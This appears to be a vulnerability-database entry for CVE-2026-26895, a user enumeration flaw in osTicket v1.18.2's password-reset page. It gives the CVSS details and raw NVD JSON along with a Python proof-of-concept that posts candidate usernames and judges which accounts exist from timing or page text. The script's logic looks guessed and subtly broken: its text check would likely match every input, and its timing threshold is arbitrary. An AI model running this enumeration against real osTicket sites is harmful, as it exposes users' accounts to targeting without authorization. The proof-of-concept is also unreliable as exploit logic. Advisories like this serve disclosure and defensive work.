Security Vulnerability Report
中文
CVE-2026-26895 CVSS 5.3 MEDIUM

CVE-2026-26895

Published: 2026-04-02 17:16:22
Last Modified: 2026-04-07 16:01:01

Description

User enumeration vulnerability in /pwreset.php in osTicket v1.18.2 allows remote attackers to enumerate valid usernames registered in the platform.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:enhancesoft:osticket:*:*:*:*:*:*:*:* - VULNERABLE
osTicket v1.18.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time def check_user(url, username): target_url = f"{url}/pwreset.php" data = { "email": username } start_time = time.time() try: response = requests.post(target_url, data=data) elapsed_time = time.time() - start_time # Analyze response time or content # Example: Valid user takes longer or returns specific text if elapsed_time > 0.5 or "If that email exists" in response.text: return True return False except Exception as e: print(f"Error: {e}") return False if __name__ == "__main__": target = "http://example-osticket.com" user_list = ["admin", "support", "test"] for user in user_list: if check_user(target, user): print(f"[+] User found: {user}") else: print(f"[-] User not found: {user}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26895", "sourceIdentifier": "[email protected]", "published": "2026-04-02T17:16:21.833", "lastModified": "2026-04-07T16:01:01.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "User enumeration vulnerability in /pwreset.php in osTicket v1.18.2 allows remote attackers to enumerate valid usernames registered in the platform."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-203"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:enhancesoft:osticket:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.18.3", "matchCriteriaId": "A63ADC69-74EE-4435-B76D-BC21BBE64600"}]}]}], "references": [{"url": "http://osticket.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://csacyber.com/blog/osticket-timing-vulnerability-understanding-the-risk", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}